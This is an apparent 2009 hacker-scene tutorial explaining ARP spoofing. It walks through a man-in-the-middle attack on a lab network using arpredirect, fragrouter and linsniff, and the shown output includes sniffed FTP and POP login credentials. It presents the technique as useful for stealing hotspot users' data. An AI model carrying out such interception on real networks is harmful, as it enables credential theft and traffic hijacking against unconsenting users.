ARP SPOOFING

Document Prepared by Affix

http://Sploit.US

Disclamer :

This paper is provided as an educational document and the author accepts no responsibility for your stupid actions while using the information found in this document. This document contains particular combinations of colors or black and white contrast may/may not cause epilepsy, nausea, or the urge to do weird things to domestic animals. Either way, I shall not be held responsible for any of that.

<Sploit.US>, <06 Jan 2009>

What is ARP?

ARP is Address Resolution Protocol (See RFC 826) it is part of Layer 2 on the 7 Layer OSI Model. ARP provides the dynamic mapping of 32-bit IP Addresses, The ones we commonly see, to a 48-bit MAC address, Usually assigned uniquely to the Networking Hardware. When the system attempts to communicate with its neighboring systems(Including the default gateway), it will send an ARP broadcast looking for a hardware of the the destination system. The destination will respond to the ARP Broadcast and communication between the 2 systems commences.

What is ARP Redirect?

ARP Redirect, More commonly known as ARP Spoofing, is a vulnerability that allows an attacker to spoof the Hardware Address to redirect or stop the traffic to the IP of the target system. ARP Redirect is commonly used by Attackers at WiFi hot spots to trick users into entering their credit card details and personal information into the false registration page.

How do I do an ARP Redirect?

For my example we will connect 3 systems to the network switch. The system "TheDefaced" is the default gateway. The IP of the default gateway is 10.0.2.121. The System "WarezScene" is the Originating host, the IP of "WarezScene" is 10.0.2.211. "iHack" is the attack host, The IP of "iHack" is 10.0.2.233, "iHack" will act as our "Man in the Middle".

To launch our Attack we will need to run ARP Redirect, Part of the dsniff package available from Dug Song (http://www.monkey.org/~dugsong/dsniff), on iHack. The package will let us intercept the packets from a target host on the networkintended for another host, Typically the default gateway.

Remember we are connected to a switch; We should only be able to see network broadcast traffic. Using ARPRedirect however will allow us how to view all the traffic between WarezScene and TheDefaced.

On "iHack" execute the following Commands:

```
[root@iHack @ ~] ping TheDefaced
PING 10.0.2.121 from 10.0.2.233 : 56(84) bytes of data.
64 bytes from 10.0.2.121L icmp_seq=0 ttl=128 time=1.3 ms

[root@iHack @ ~] ping WarezScene
PING 10.0.2.211 from 10.0.2.233 : 56(84) bytes of data
64 bytes from 10.0.2.211: icmp_seq=0 ttl=255 time=5.2 ms
```

This will allow iHack to cache the target hardware address, this will be required when executing our redirect :

```
[root@iHack @ ~] arpredirect -t 10.0.2.211 10.0.2.121
intercepting traffic from 10.0.2.211 to 10.0.2.121 (^c to exit)...
```

This will run our ARP Redirect and will redirect all traffic for the gateway (TheDefaced) to the attacker (iHack). This is done by arp redirect by replacing the default gateway of WarezScene to iHack, thus telling the target to send all of the traffic to iHack first, in turn iHack will send the traffic (Once sniffed through) to the intended target. In effect iHack is turnd into a router and will redirect the traffic from WarezScene to TheDefaced so we must make it act like a router and enable IP forwarding on iHack so it can reditct the traffic to TheDefaced once it has been captured by iHack. Instead of using Kernel-level IP forwarding we use fragrouter as kernel-level may send out ICMP redirects and can disrupt the process.
Fragrouter is available from packetstormsecurity.org
fragrouter will allow us to easily enable simple IP forwarding from command line using the -B1 Switch as shown.

```
[root@iHack ~] fragrouter -B1
10.0.2.211.2079 > 192.168.20.20.21: S 592459704:592459704(0)
10.0.2.211.2079 > 192.168.20.20.21 : P 592459705:592459717(12)
10.0.2.211.2079 > 192.168.20.20.21 : . ack 235437339
10.0.2.211.2079 > 192.168.20.20.21 : P 592459717:592459730(13)
<output trimmed>
```

Finally we need to enable a packet analyzer on iHack to capture any traffic worth sniffing out.

```
[root@iHack ~] linsniff
Linux Sniffer Beta v.99
Log opened.
---------[SYN] (slot 1)
10.0.2.121 => 192.168.20.20 [21]
USER UltimA
PASS lol.you.got.owned
PORT 10,1,1,18,8,35
NLST
QUIT
---------[SYN] (slot 1)
10.0.2.121 => 192.168.20.20 [110]
USER UltimA@WarezScene.com PASS iHack.pwned.Me
[FIN] (1)
```

Lets examine what happened. Once ARPRedirect was enabled, iHack began to send spoofed ARP replied to WarezScene claiming to be TheDefaced. WarezScene(Being Retarded) happily updated the ARP Table to reflect TheDefaced's new Hardware address. Then a WarezScene user stared an FTP Connection and a POP session to 192.168.20.20 and the USER and PASS was logged by the sniffer.
In the last example we were only redirecting traffic from WarezScene to TheDefaced; However if we miss the -t switch in the arpredirect command we can redrect ALL traffic on the network.

WARNING MISSING THE -t OPTION CAN CAUSE PROBLEMS ON NETWORKS WITH LOADS OF TRAFFIC

If you are not familiar with UNIX you may wish to use this on windows. Arpredirect is a UNIX only application. You will need to look around for an alternative.

THANKS AND GREETINGS

Thanks to the following people for supporting me throughout the paper :

UltimA of WarezScene.org

JR of WarezScene.org

Mad-Hatter of Sploit.us

DeadlyData of TheDefaced.org

Debug of TheDefaced.org

Greetings To

ShoKz	wTalk.eu
JR	WarezScene.org
ReMuSoMeGa	MonsterNET
Mad-Hatter	Sploit.US
UltimA	WarezScene.org
str0ke	Milw0rm.com
IDU	Sploit.US
l33t	Sploit.US
n0f34r	
iHack.co.uk	All the Previous Staff and Crew
TheDefaced.org	All the Members and Staff
wTalk.eu	All the Loyal Members that didnt Fuck off
Sploit.US	All the Members, Staff and Future Members
uNkn0wn.ws	All The members and crew Nice Guys :)

Anyone I have Missed?